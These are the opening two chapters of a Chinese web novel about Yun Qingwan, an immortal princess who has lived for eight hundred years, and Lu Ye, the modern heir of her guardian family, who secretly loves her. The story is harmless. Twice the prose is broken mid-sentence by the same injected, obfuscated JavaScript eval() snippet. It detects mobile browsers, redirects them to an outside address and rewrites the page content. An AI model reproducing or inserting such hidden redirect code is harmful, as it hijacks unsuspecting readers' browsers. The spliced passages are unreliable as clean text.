《致永生不灭的她》 1. 第一章 “阿野!” 云清婉从国际到达出来后一眼就瞧见了人群中的陆野,朝他笑着挥手喊道。 陆野个子高出周围一头,单手插着裤袋,即使一言不发也足够显眼,精致的浓颜五官上挂着些慵懒。 “我没聋,你小点声。”陆野歪了歪脑袋摸着耳朵很自然接过了她手里的行李箱。 “阿野,你是不是又长高了点?”云清婉说完还对着空气比划了一下位置:“上次好像在这里。” 陆野把手挪开后无奈地说:“人到这个年纪就不可能再长高了,明白吗?公主殿下?” 八百多岁的人了,行为举止还跟个小孩子一样。 况且上次见面是两年前,就算正是长身体的少年期又不是韭菜谁能两年长一米。 精心准备的开场被呛了的云清婉“啧”了一声,顺势开启了保留节目:追忆童年。 “开个玩笑嘛,怎么这么没情趣?你小时候可比现在可爱多了,像你七八岁的时候......” 以“你小时候”开头是陆野最讨厌的环节,没有之一。 被一个长相不过二十出头的“小姑娘”一个劲儿说小时候的事儿没人受得了。 这就算了,偏偏他还喜欢这个“小姑娘”。 明明和路边的电线杆子坠入爱河也比喜欢上云清婉合理。 但活了八百年的人就在身边还谈什么合理不合理。 陆野直接无视掉了她的滔滔不绝,一点都不生硬地扯开了话题:“要喝奶茶吗?” 云清婉皱眉纠结了一会后还是摇头拒绝了诱惑说:“不了,最近都长了三四斤了。” “你一个古代人还在乎这个?”陆野抬眉,很是不解她在意的点。 被说是“古代人”让云清婉不乐意了,当即反驳说:“什么叫我一个古代人?我不是古代人。” 论出生日期她的确是古代人,但兜兜转转八百多年,她真不觉得自己有哪一瞬间没跟上时代的洪流被冲死在沙滩上了。 都说活到老学到老,她虽然不会老,但学习可是一日都没有停止过的。 陆野不解:“你不是古代人是什么?” 云清婉昂首挺胸,雄赳赳气昂昂,目光如宣誓般坚毅给他来了句:“我是社会主义接班人!” “......” “......” “......” 陆野鲜明性感的喉结上下来回滚动了好几遭,扯着嘴角几次想要开口,最后还是选择放过了自己。 算了,跟她一般见识纯粹是给自己添堵。 这就是云清婉。 活了八百多年却一个超能力都不会的,史上最失败的永生者。 据说以前是公主。 为什么用“据说”呢? 因为应该没有公主穿牛仔短裙,T恤,背帆布包。 活了八百年成熟稳重一点看不到,冷笑话倒是一个接一个,心眼还贼小。 五音不全却喜欢唱歌还逼着自己昧着良心夸,恐高却非要逞强挑战玻璃栈道中途吓到不敢睁眼是自己给抱过去的,还是个分不清东南西北,找不到地方就假扮古代人说看不懂手机地图的路痴。 问她旁边有什么标志性建筑。 她说:有棵树...... 儿童公园的涂色吸引不了小学生,却能让她兴致勃勃玩上半个小时。 谁家公主是她这样的? 以至于每次陆野喊她“公主”都带了几分调侃的意思。 陆野叹了口气,放弃与她周旋转而说:“饿了吗?等下回市区吃陈记。” 陈记饭店是云清婉在京城的心头号,有一百多年历史了,云清婉也跟着吃了一百多年。 这些老店的味道都是一代代传承下来的,中途陈家人想转行做别的生意要关店,陆野的爷爷陆思衡亲自出面请其留了下来,并且答应店只要一天开着就会一直给予陈家人各项援助。 她和陆思衡说过算了,还是给陈家人一点自由,陆思衡说那既然是她喜欢吃的东西那就不能消失。 可以说这家百年老字号的名店就是为云清婉一人开的。 “好嘞,好久没吃奶油馒头了。”云清婉这两年一直在国外,对华夏大地的美食甚是想念,欣然答应。 陆野看她眼里放光的样子,打趣了一句:“这会儿又不管长胖了?” 云清婉发挥其终极大招:薛定谔的古代人,摆摆手不以为意:“没关系,古代人不在乎这些。” “......” 屡屡被大招击败的陆野只觉抓心挠肺的憋屈,目光幽幽盯了一会儿得意洋洋的云清婉后把到嘴边的话硬生生吞了下去。 在内心默念了三遍“不跟小孩子一般见识”。 云清婉在飞机上靠着窗睡了一会儿,头发被压得有些凌乱,有几根呆毛翘得别致。 陆野不做表情时略显硬朗的脸上露出了一丝笑意,伸手帮她捋了捋。 指腹温热,浅浅擦过了她的眉心。 ------ 两人往地下停车场走,陆野问了句:“你这次新身份要叫个什么名字?” 云清婉每隔一段时间就得换一次身份,她又不能飞又不能瞬移的,出门要坐飞机高铁,还要人脸识别。 现代法治社会监控三百六十度无死角钻不了空子只能给她定期换身份。 总不能身份证出生日期是六十年前,结果脸还是个小姑娘。 “你说取个什么名字好呢?” 云清婉思索了一会儿后侧头把命名权交给了陆野。 “你的名字你问我干什么?”陆野迷惑地转头看着她问。 “你的名字就是我取的,给你个以牙还牙的机会。” 陆家八百多年岁月一直到陆野,一共十八代都是单传,每个人的名字都是她取的。 云清婉已经把能够想到的,代表好寓意的字全都用完了。 “你确实取名没什么水平。”陆野回想了一下云清婉的杰作,抱怨了一句:“找个时机是要去改了。” 他陆野,他爸陆启明,他爷爷陆思衡,他太爷爷陆兆丰...... 一个比一个俗气。 饱读诗书的公主没点文学素养。 “挺好的,选个你自己喜欢的名字。”云清婉莞尔一笑,有些期待陆野会换个什么名字。 给陆野取了“野”字是希望他不被陆远卿要生生世世守护自己的执念所禁锢,如旷野般自由。 云清婉曾提过好多次名字至少还是交由陆家人决定,但他们一直说能够得到公主的赐名是陆家的荣耀与福分。 “那得先等我找个大师算一卦。” 改名字陆野也就是嘴上说说,那可是从尊贵的公主那里得来的赐名,哪能随便改。 云清婉用亲身经历劝他别浪费心思了:“没用的,大师没一个靠谱的。我们要破除迷信,相信科学!” 八百年里云清婉拜访过几乎所有为人解卦算命的大师,传得神乎其神结果各个满口胡言,听得她都没忍住笑出声。 说她此生顺遂有大富大贵之相的就算了,说她能子孙满堂尽享天伦之乐的是什么意思? “......我觉得全世界谁都能说这话,唯独你不行。” 从一个活了八百多年的人口中听到“破除迷信,相信科学”是让所有魔幻现实主义小说作品都黯然失色的桥段。 不过云清婉却持有相反的意见,头头是道反驳说:“恰恰相反,只有我这种真正经历过封建迷信的时代,最后却被科学的力量彻底征服的人说出来的话才有可信度。” 陆野懒得和她掰扯,把灌了铅的行李放进后备箱后给她打开了副驾驶的车门后做了个“请”的手势说:“公主,请上车。” 这明显把自己当傻子的态度让云清婉有了些许不满,虚着眼摆出架子教训说:“阿野,你不尊重长辈。” 她比185cm的陆野整整矮了一个头,听闻此言的陆野把手抵在额间,假装四处搜寻后疑惑地问:“长辈?谁是长辈?我怎么没看到。” 云清婉虽是永生者,但时间静止,瞬间移动,读心术之类的超能力一个都不会,本质就只是个死不了的普通人。 陆野小时候她还能用大人的威严治治,稍微长大点后就完全不把她放在眼里了。 真要算辈分,她可是和陆野的太X15爷爷平级的,见不到一点尊重不说,还时不时把她当笨蛋,弄得她很没有面子。 君子动眼不动口,云清婉就站着不动一言不发,发起了眼神攻击。 “你这么看着我干什么?” 陆野觉得好笑,三四代以内的长辈他还能尊敬一下,十几代开外的可没这待遇。 小时候陆野对云清婉可嫌弃了,嫌弃她没有超能力,嫌弃她变不出玩具汽车,嫌弃她拿不到飞走的气球。 稍稍大些后还是嫌弃,不过不怎么跟她说话了,为这事儿云清婉还伤心过一阵子。 后来上高中后也不知道怎么回事突然关系又缓和了,让她有种孩子长大了,懂事了的欣慰。 但嫌弃依旧,嫌弃她五音不全,嫌弃她恐高,嫌弃她路痴。 总结下来就是被陆野嫌弃的一生。 不过云清婉特别喜欢与陆野的相处模式,轻松,随意,舒适,什么都不用顾虑,仿佛她也就是个普普通通的年轻人,有个特别要好的朋友。 插科打诨,嬉笑打闹,相互开玩笑,以让对方无语凝噎为己任。 让她有她其实活着的错觉。 云清婉的戏终于还是演不下去了了,方才还黑气弥漫的脸忽然挂上了明媚的笑容,张开手臂前言不搭后语问了声:“阿野,我能抱抱你吗?” 突如其来的要求给陆野弄懵了,惊愕地问:“干什么?” “这么久没见抱一下都不行吗?太令我伤心了,你小时候可是特别喜欢我抱的......” 尽管陆野知道,云清婉只把他当小辈,当没长大的孩子,说要抱抱就和散步时瞧见了好看的狗狗没有区别。 甚至都没有把他当成男人。 但是他依旧在云清婉问能不能抱一下的那一刻,心中被激起了千层的巨浪。 史书上对大祁永宁公主的记载只有寥寥数笔,姿色过人,秉性灵秀,通音律,晓诗史、能书画、善歌舞。 彩虹屁吹得天花乱坠,以至于陆野一度以为是云清婉自己写的。 其余的先不谈,这个善歌只要耳朵没聋就写不出来。 不过写的人虽然聋了,眼睛倒是没瞎。 精致的鹅蛋脸,面部线条圆润,留白恰到好处。肤若凝脂,山根含蓄,鼻尖小巧,眉如远山含黛,唇若点樱,未施粉黛就已有了倾城之姿。 云清婉现在微微嘟着嘴控诉他不如小时候可爱时精致到宛若匠人雕琢的侧脸,就已经让陆野看得入了神。 “想什么呢?”云清婉见眼前人忽然精神游离的样子,问了声。 陆野回神,别过脸去低眉垂眼口是心非回答:“想你再活多少年智商能过80。” “过80了你就永远是我的手下败将了。” 玩笑总是说者无心,听者有意。 手下败将也好,输给她一辈子也好,什么都好。 要是真能永远就好了。 正思绪横飞着,正前方路过的一位中年男子忽然倒地抽搐。 陆野是京大附属医院胸外科的主治医生,见状赶紧上前跪地查看了情况,连喊了几声都没有反应,心跳和呼吸都已停止。 他判断是心源性猝死,随即准备开始CPR对云清婉说了声:“心源性猝死,公主你去车上拿AED。” 陆野的车上常备着AED以防不时之需。 心源性猝死有黄金四分钟,在这期间内及时进行心肺复苏存活率在百分之六十以上。 云清婉去拿来AED拨打了机场医疗中心的电话,随后也跪地帮忙。 两个人配合默契,每三十次胸外按压,两次人工呼吸为一个循环,再加上AED的电击,两三分种后病人就恢复了心跳和自主呼吸。 医疗队和救护车随即赶来,了解情况后把人送往了附近的医院。 “发明心肺复苏和AED的人真的好伟大啊。”云清婉作为见证了医学一路发展至今的人,不由地感叹了声。 如果硬要从永生里寻找那一点意义,那只能是看着人类从蛮荒到现代一路至今的发展了。 陆野曾问过她作为古代人看着科技如此高速发展,从前那些想都不敢想的事情被一一实现到底是何种感受。 其实科技也好,医学也好,认知也好,人类社会的发展是线性的,不是同电子跃迁般只有天圆地方的始态和火星探测的终态没有中间过程。 所以她是一步步看着从零到一,从无到有,除了感叹人类的伟大和从前的局限性以外也并不会有太多其余的想法。 毕竟她也在发展。 至于她的存在是科学最大的悖论一事云清婉也想通了个七七八八。 科学无法解释的事情太多,一半神学一半科学才是世界的本质。甚至可能都不是科学问题,而是哲学问题。 需要去讨论哲学的终极:何为存在。 问题没有人能给出正解,但她从未放弃过思考。 云清婉穿的短裙,刚才直接跪在地上急救,两个膝盖都被磨出了血。 陆野从后备箱拿出常备的医药箱,把车内的毛毯铺到了一旁的台子上,让云清婉坐下,拧开矿泉水瓶开始小心翼翼给她冲洗伤口。 “清洗一下伤口消毒后上个药。” 云清婉刚才光顾着救人,没注意膝盖上的伤,这会儿反应过来水流冲上去疼得瑟缩了一下脖子,咬着下唇一副眼泪要掉下来的样子。 “好疼......” 只是些许皮外擦伤,但云清婉是个特别怕疼的人,疼痛阈值约等于没有,一点小伤能嚷嚷成大限已至了。 偏偏又是粗心的马大哈,经常这里磕了碰了,那里摔了划了。 陆家老宅客厅那个沙发后的凸起处她每次经过都不长记性,撞了能有好几百次,后来没办法就把沙发给换了。 “一会儿就好,忍一忍。” 沐浴着把皮外擦伤喊成了活不过今晚的嚷嚷里,陆野给她清洗完伤口,用碘伏消完毒,包扎好后叹了口气无奈地说:“公主,活了八百多年了,就不能坚强一点吗?” “我还不够坚强吗?”云清婉不服气。 云清婉这个样子陆野早就习惯了,他小时候在院子里踢球,一个不小心踢中了某位公主的胳膊。小孩子能有啥力气,但就这点小事儿都哭哭啼啼掉了眼泪,害他自责道歉了好久还把最喜欢的零食都贡献了出来。 不过就是这样一个怕疼的人,却在他玩打火机不小心点燃了房子时,孤身冲进熊熊烈火把昏迷的他抱了出来。 ------ 都收拾好云清婉坐进副驾驶后瞧见前方的镜子上挂了个平安玉佩,伸出手扯着穗子正反面看了看问道:“这哪里买的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408404|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“之前去西疆旅游的时候买的。” “多少钱?” 陆野不知道她指着个玉佩问东问西干什么:“你问这个干什么?” 云清婉来了句:“超过五十就是被坑了。” 东西是之前去西疆的时候买的,说是啥顶级和田玉,颜色质地净度都是上乘,又有保平安的寓意。他实在经不过人家穷追不舍的推销,只得花五千大洋买了下来。 陆野虽知道十有八九被坑了但还是想找回点场子,便嘴硬说:“有没有可能是你看错了。” 云清婉给了个硬到电钻来都不好使的理由:“以前我宫里多的是这玩意儿,我的眼睛还能错?” 理由太硬,陆野只得顾左右而言他:“所以你到底要叫什么名字?” “都可以,你随便取一个吧,反正就是名字而已。” 取名是个难事,她不仅要想陆家人的名字,还得想自己的,来来回回折腾了八百年就算读过再多书肚子里的墨水也干了。 而且像她这般的鬼魅,叫什么名字又有什么关系呢。 陆野思考了一会儿后说:“那就叫云清婉吧。” 乍听到“云清婉”这个名字时她突然愣了一下,如今除了陆野偶尔冷不丁会冒出来一声外,不会有人再叫她这个名字了。 这八百年来无论历史王朝如果更迭,她都远离了尘嚣,只一心想要找到解除永生的办法。 换了无数个身份和名字,却从来没用过“云清婉”这三个字。 “是个好主意呢。” 云清婉撑着下巴,望向窗外不断倒退的景色,反正也懒得再想了,决定就用本名了。 刚决定“新”名字,陆野就唤了一声:“云清婉。” 被叫了“新”名字的云清婉转头应声:“干嘛?” 陆野侧过投来温存的目光,勾着唇角笑笑说:“没什么。” 他一直觉得云清婉的名字特别好听,像遗世而独立的天宫仙子,没有沾染一丝人间繁杂的烟火气。 虽然本人与名字有些货不对板,但确实也是最适合身旁人的名字了。 云清婉敏锐嗅到了他笑容里的嫌弃,歪着脑袋狐疑地问:“阿野,你该不会在想这个名字与我不相符吧。” 被一语中的的陆野诧异:“你怎么知道?” 云清婉得意洋洋道:“因为我有读心术。” “不,你没有。” 陆野摇摇头,眉眼晕染开,很确定她没有。 如果她有,她就能知道此时此刻自己内心翻涌成了怎般不能言说的情。 但也还好她没有。 陆野现在都还记得他爷爷去世的时候,这个无时无刻不在笑着的人眼眸里空无一物的荒芜带给了年幼的自己怎样的震撼。 八百年里无论日月星辰如何交替,沧海桑田如何流转,云清婉都只能孤身一人,一次又一次,一次又一次看着身旁人的离去却无能为力。 如果说人死后就会变成星星,那她经历的死亡能下一场永无止境的流星雨。 永生的代价是永恒的孤独。 老天爷对她太残忍了。 所以好在她没有读心术。 从机场到市区要两个多小时,云清婉在飞机上没睡多久,又插科打诨了几句后就又迷迷糊糊睡着了。 陆野把空调的温度调高了些,又把她搭在腿上的毛毯往上掖了掖。 这么看过去谁能想到此时嘴巴嘟着,两个腮帮子微微鼓起,睡得安静的小姑娘是活了八百多年的化石呢。 八百年里但凡有一点关于永生的线索,云清婉都会不远万里去寻觅,差不多把世界走了遍,不过都是一无所获。 她甚至都不知道为什么就突然死不掉了,自己开玩笑说可能是吃了唐僧肉。 不过被她义正言辞否认了,说人家不是她这个时代的。 陆野把视线收回,期盼着她能做一个好梦。 ------ 云清婉迷蒙间醒来时只觉胸口聚集了一团散不开的浓雾。 她不知道为什么又突然梦到了用“久远”一词都无法形容的旧事。 一朝沦为阶下囚,无论她如何撕心裂肺哀求裴逸之能留下至亲们的性命,她的驸马,大祁的首辅,她最爱的男人自始至终只是居高临下,用冰霜般的目光看着她一言不发。 “裴逸之,我生生世世诅咒你。” 是她此生留给裴逸之的最后一句话。 后来她被贴身侍卫陆远卿救走一度不吃不喝不睡,脑子里想的都是和叛军奋战到最后一刻将士们的惨状和至亲们永不瞑目的双眸。 可发誓只为复仇而活的她也不知道从什么时候开始就不恨了。 从头至尾对她没有半分情意只有利用的裴逸之,从她父皇那里夺了权的叔父,曾发誓效忠却对她的至亲们赶尽杀绝的臣子们,她都不恨了。 大祁也好,灭了大祁的大梁也好,之后的大大小小无数个王朝也好都淹没在了历史的滚滚长河里,化作了袅袅升起的青烟和史书里的寥寥几笔。 权力的易位,王朝的更替与兴亡盛衰,历史的洪流没有任何人能够抵御。 它是人类社会发展的必然。 爱也好,狠也好,不甘也好,执念也好,在人类宏大的叙事诗篇里不过是沧海之一粟,天地之一隅,九牛之一毫。 多少英雄豪杰,多少千古一帝,多少名公钜人含恨而终,在史书里留下了一笔又一笔令后世唏嘘喟叹的绝唱。 所以她早就不恨了。 可为什么又突然梦到了这么久远的事情呢? 正在迷雾里寻找出口的时候,手机屏幕亮了,APP弹出新闻说一代名臣裴逸之的墓葬于近日被考古学家发现,正在制定保护性发掘方案。 此番发现对于研究这位英年早逝却留下功绩无数的两朝首辅与大祁历史的意义不可估量。 有望揭开裴逸之作为驸马还官至首辅却参与了天厉之变的谜团。 谜团吗? 云清婉在心中轻笑了一声。 彼时还只是太子的父皇为了稳固权势将他魏家忠烈以莫须有的罪名满门抄斩,侥幸逃过一劫的小公子魏云峥摇身一变成为了裴逸之。 他不反谁反呢。 她十六岁那年与弱冠的裴逸之成婚,成婚第四年史称“天厉之变”的政变爆发,随后新政不到十二年裴逸之就病逝了。 即便那个时候她对裴逸之的恨还没有熄灭,但在首辅亡故的消息传来时她依旧泣不成声。 裴逸之骗她,利用她,害她家破人亡,把她推入了绝望的深渊。 但裴逸之却是个深受百姓爱戴的好官。 为国为民,清正廉洁,体恤民生,深谋远虑,德才并重,出殡时十里长街皆是唤着“裴大人”的啼哭声。 裴逸之负了她,却没有负大祁,没有负黎民百姓,没有负国泰民安的理想。 人世间没有什么是非黑即白的,所以云清婉是极其矛盾的,而这份矛盾在斯人已去时也消散了大半。 他还那么年轻,还有那么多的抱负,还有那么多来不及实现的愿景。 自己是恨他,但大祁需要他,百姓需要他。 他还需要用生生世世去赎罪,为大祁,为百姓直到时间的尽头。 可讽刺的是最后受到了生生世世惩罚的不是他,而是自己。 裴逸之,你真的太狠了。 “怎么了?” 陆野看云清婉醒来后就盯着手机一言不发,眼中荒芜蔓延,担忧地问了句。 2. 第二章 “没什么。”云清婉从被迷雾笼罩的回忆里抽身,抬眼笑笑摇头否认说:“放首歌吧。” 陆野提了条件:“放可以,但你不能唱。” “看把你吓的,人家史书上可是写我善歌舞呢。”云清婉打趣着打开了车载音乐。 “那是你自己写的吧,除非写的人聋了。” 此番说辞遭到了云清婉的否认:“史书这东西哪有自己给自己写的道理?而且我保证他没聋。” “你知道是谁写的?” “嗯。” 除了裴逸之还能是谁呢,这个世界上会夸她唱歌好听的有且仅有一人。 她在琴棋书画方面确是有些天赋,可偏偏一开口就叫人不得不捂耳。 后来过了好几百年她才知道这叫“五音不全”,是先天性的问题,本人没有意识且难以矫正。 不过那个时候可没人知道,她又性子倔以为是疏于练习,没事就喜欢开开嗓。 她是公主底下人自然只能拍手称赞乃天籁之音,但从表情也知道都是糊弄她的。 只有裴逸之听她唱歌的时候脸上浮着笑意,像是在欣赏仙乐一般。 总说人的眼睛撒不了谎,而裴逸之却可以。那双被爱意与温柔包裹的眸子里明明都是没有一丝真心的谎言。 陆野倒想看看到底是谁这么没有耳力,追问道:“谁?没聋耳朵也有问题吧。” 云清婉笑笑侧头望向窗外轻声说:“一个故人。” 音乐播放的是《let it be》,云清婉跟着哼唱了起来:“And when the broken hearted people living in the world agree. There will be an answer, let it be. For though they may be parted. There is still a chance that they will see. There will be an answer, let it be......” 来也匆匆,去也匆匆,往事皆以成空,那也就只能let it be了。 “你现在怎么不说古代人不能说英语了?”云清婉忽然想起陆野听她第一次说英语时的震惊表情,侧过头打趣了一句。 “你说你会造原子弹我都不会惊讶的。” 即便是古代,我国与世界诸国的交流和贸易往来也是从未停止过的。 所以古代人说英语理论上十分合理,不过第一次听云清婉说英语时陆野还是遭受到了不小的震撼。 但一个活了八百多年还没有一分一秒停止过学习的人脑袋里掌握的知识是什么量他早就见识过了。 至少在他的认知范围内,云清婉就是全知全能的,现在是丝毫不会有任何动摇了。 只能说还好人类发明了计算机。 “你这次回来要待多久?”陆野移开话题问。 “不知道,得多陪陪陈阿姨。” 云清婉看着身边的人一个个变老,一个个离世,最后一个个成为回忆里连名字都想不起来的模糊残影,却无能为力。 于是后来除了陆家人外,她几乎不会和谁有太多交集。 只是作为一个匆匆过客,如浮光掠影般不带痕迹地擦肩而过世人短暂又绚烂的人生。 陈阿姨陈秋芬是陆家的保姆,在陆家做了很多年,是少数几个知道她身份的人。 在得知她一个人历经了那么多年的时光时,陈秋芬眼眶通红把她拥进怀里哽咽说:“辛苦了,真的辛苦了。” 这是八百年多年来唯一一个在她表明了永生者的身份后只一瞬就察觉到她挥散不去的苦痛的人。 云清婉抱着陈秋芬哭成了泪人。 陈秋芬说什么话都可以毫不保留跟她说,她会把所有秘密都带进坟墓里。 于是云清婉说了很多很多被永远尘封在历史里,这个世界上不会再有第三个人知晓的事,想要到道尽八百年来所有的孤独。 前两年陈秋芬患了肺癌,发现时已是中晚期。 生老病死任谁都逃不过,而逃过了的她只能接受惩罚。 别无他法。 当今的医学水平还无法攻克癌症这一难题,也不知道待她消亡的那天,能不能有所突破。 其实这个世界上没有人比拥有无限时间的她更适合基础科学研究的工作了。 哪怕有同宇宙行星数量一般多的可能性,一个个去试就好了,宇宙和她指不定谁活得久呢。 “我明天陪你回栖子堂。”陆野应了声。 栖子堂是陆家的老宅,是陆野的爷爷陆思衡为云清婉亲自设计建造的中式庭院。 庭院中心有个人工湖,人工湖中心有个湖心亭,她时常往那儿一坐就是一个下午,陆思衡便在一旁给她沏茶。 茶冷了一壶又一壶,陆思衡便沏了一壶又一壶。 陈秋芬一辈子没有结婚,无儿无女,自从在陆家做保姆后就一直住在栖子唐,这两年生病陆野的爸爸陆启明便安排了专人照顾。 云清婉摇摇头,示意没这个必要:“你这么忙,不用管我,我自己去就行。” “公主,你是在叫一个姓陆的人不要管你吗?”见她的目光越来越暗淡,陆野来了句插科打诨。 的确,就算陆野不想管她,在陆远卿的执念下也做不到。 陆家人在成为陆家家主的那一刻便会拥有陆远卿和距今以往所有陆家人的记忆。 而这份记忆会让他们所做的一切选择都只为保全她。 她曾尝试过无数种办法,都没有找到解法。 无论他们曾有过怎样精彩的人生,期盼过怎样的未来,幻想过怎样的前路,都会化为虚无缥缈的泡影。 她这八百年来乞求过无数次上苍如果要惩罚就请惩罚她一个,肉/体上也好,精神上也好,什么都可以,哪怕是永远被囚禁在空无一物的虚无,她都能接受。 只要能把陆家人从生生世世的禁锢中解放出来,她什么都愿意。 可都是无济于事,从父皇第一次把陆远卿带到她面前时说“从今往后他只为你而活”后他们便只为她而活。 “阿野,对不起。” 尽管知道道歉没有任何用,可除了对不起,她什么都说不了,什么都做不了。 本是活跃气氛的玩笑却得到了一声“对不起”,陆野诧异地问:“好端端为什么要说对不起?” 云清婉咬着下唇一言不发,眼底是绵延不绝,挥散不去的悲伤,雾气蒙蒙像是一场下了八百年的雨,从未停歇。 陆野伸出手放到她头上一阵乱摸后轻快着语气来了句:“你有心思想这么多有的没的不如想想等下要点什么菜。” “你干什么!” 被突袭打了个措手不及的云清婉护着成了鸡窝的头发,愤愤然控诉说。 她到底在胡思乱想什么。 哪里需要什么先祖的执念。 她早就是自己想要守护一辈子的人了。 ------ 车一路开到陈记饭店旁边的地下停车场,上面是个购物广场,云清婉就说想去随便逛逛,陆野有了不好的预感。 她的随便逛逛基本等于从一楼到顶楼,又从顶楼到一楼,能把你折腾没半条命,比连续值几个夜班都累。 不想被折腾的陆野卑微打起了商量:“公主,微臣觉得现在还是先去吃饭比较好。” 云清婉很配合地玩起了角色扮演,摆了摆手厉声道:“来人,小野子出言不逊,掌嘴!” “......” “......” “......” 小野子重重叹了口气,在这方面他是真拿云清婉一点办法都没有。 两人走进商场,今天是周末,人头攒动,一楼有不少商家摆了展台在做活动。 当属婚纱摄影的最为积极,有个小姐姐拿着宣传册子笑盈盈迎了上来:“哇,小姐姐长得真好看,男朋友也好帅啊,要不要拍婚照?咱们这边中式最近拍的人最多。” 云清婉和陆野一起被误会成情侣也不是一次两次的事情了,她早就习以为常懒得解释了。 况且也解释不了。 她和陆野是什么关系她也说不清楚。 而陆野即便知道她不解释仅仅是因为解释不了,可在被说是她男朋友的时候,微微颤动的心间还是会跃然而上一丝欣喜。 “中式吗?” 云清婉看了眼小姐姐手里宣传册子的封面,起了一丢丢兴趣。 小姐姐看她有兴趣,甚是热情,翻开册子跟她一一介绍:“对,凤冠霞帔,咱们的传统文化。小姐姐长相好有古韵,真的跟古画里的美人一样,绝对适合中式婚礼。” 陆野在心底嘀咕了一句什么长得像古代人,她就是古代人。 “但我看这宣传图里好像不太对呢。”云清婉指着宣传图开启了专业点评模式。 这个簪子不对,那个图案不对,噼里啪啦说了一大堆。 弄得人家面露了尴尬之色,不过小姐姐还是展现出了超高的职业素养说:“毕竟现代都有改良的,小姐姐好了解啊。” 当然了解了,她又不是没穿过。 作为大祁最受宠爱的公主,她与裴逸之大婚的排场是现代任何一个世纪婚礼都无法比拟的。 凤冠霞帔,十里红妆,她与心心念念之人共结连理。 她依稀记得那晚被繁褥复节折腾没半条命后她坐在婚房里等裴逸之的时候紧张得厉害,几次想把那碍事的玩意儿掀开又想着母后再三叮嘱大婚之日要把性子收着些。 她什么性子裴逸之又不是不知道,有什么好收敛的。 要是受不住把驸马休了就是。 都快等到睡着了才听到门口有了些许动静,赶紧正襟危坐起来。 听着脚步声缓缓接近,她紧张得把礼节忘得一干二净两只手不知道该往哪里放。 裴逸之凑到她跟前的时候,她闻到了一股淡淡的酒香,随后住进她心底的人掀开红绸缎,眼眸包裹着情欲与占有,用低沉沙哑的嗓音说道:“公主,微臣要你。” 还没等她应声,人就不由分说吻了过来。 被吻到意乱情迷的她以为这便是一辈子,后来才知道原来只是梦魇的开端罢了。 “怎么样小姐姐,要不要拍?你和你男朋友真的长得好好看啊,你们要是愿意把照片让我们拿来当宣传图,可以打个五折!”小姐姐是会做生意的,当即开出了极其诱人的条件。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408405|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清婉一听打折,两眼放了光:“阿野,五折诶。” “......” “......” “......” 陆野叹着气捏了捏鼻根,两个太阳穴疼得厉害,没料到这种划得来她都想占。 哪有公主这么抠抠搜搜的? 不知道的还以为陆家平时亏待她了一样。 而且她真的理解这是拍什么吗? 婚纱照也能随便拍的吗? “小哥哥,你看你女朋友很感兴趣,打五折呢,拍一个吧。”小姐姐看这单就差临门一脚了,赶紧把目标转移到了陆野身上。 “不用了,谢谢。”陆野礼貌回绝后,拉了一下云清婉的胳膊,让她别浪费时间:“走了,赶紧逛完去吃饭。” 云清婉抬眼冷不丁问了声:“阿野,你是不是没见过我古装啊。” 陆野光是在脑中想象了一下云清婉变回古人的样子就有些招架不住了,如果还是凤光霞披的话...... 以至于动摇到话说得都有些磕磕绊绊了:“干......干什么?” “你小时候吵着闹着要看的。” 云清婉回想起小时候跟陆野说她其实活了好几百年的时候,那会儿电视里到处放古装电视剧小家伙就一个劲儿问她为什么和电视里不一样。 要问陆野想不想看,那真是想看得要命。 但承认是绝对不能承认的,他别过脸去,原本平稳的心跳声也变得稍稍急促了起来。 “......有什么好看的,走了。”说完就迈开了步子。 “好吧。” 云清婉面露失望之色,撇撇嘴给了小姐姐一个抱歉的眼神后跟了上去。 果然孩子长大了,和小时候不一样了。 “小时候的事情能别再说了吗?”陆野心底憋屈难耐,不知道第多少次郑重向她发起了控诉:“动不动就是小时候如何如何,小时候是小时候,谁还没有小时候?” “别生气嘛,我以后不说了......” 道理云清婉都明白,但她就是控制不住,因为小时候的陆野真的太可爱了。 对她嫌弃是嫌弃,但过马路的时候会主动来牵她的手,看到好看的小花会摘了别她头上说是今天的礼物,坐在她腿上听故事睡着会用稚嫩的嗓音嘟嘟囔囔喊“公主”。 “我不是生气,我是无奈。” “好了好了,我错了,我错了,我发誓以后再也不说了。”为了增加可信度,云清婉还伸出了两根手指。 不过她发誓的可信度不是零,是负,陆野连个标点符号都没信:“你发过多少次誓你自己记得吗?” “有很多吗?”云清婉歪着脑袋,拧着眉在错综复杂的记忆迷宫里试图搜寻线索。 陆野喜欢她,很喜欢,特别喜欢,却清醒到没有一分一秒奢求过回应。 唯一的期盼只是她不要再把自己当小孩子,仅此而已。 正想着到底要如何才能在她心中拥有一个正常成年男性该有的形象时,眼前人忽然望着一个方向沉默着不说话了。 顺着她的视线望过去,看到了国家博物馆“大祁之美”展览的海报。 “阿野,这些东西好像都是我的诶。”云清婉指着海报上几件文物说:“当年我宫里不知道有多少,谁能想到多到没地儿放的东西有一天全成文物了。” 陆野问了声:“要拿回来吗?” 云清婉摆摆手笑笑:“事到如今还拿回来做什么?都是国家的东西了。” “你要的话就是一句话的事情。” “我不要,我就是随口一说,想拿回来哪里用今......”云清婉的话说到一半停住了,怔怔望着海报上的一顶雍容华贵的凤冠出了神。 东西应该是专家们复原的,却也是八九不离十。 八百多年了,这顶她大婚时戴过的凤冠竟然有重见天日的那天她着实没有想到。 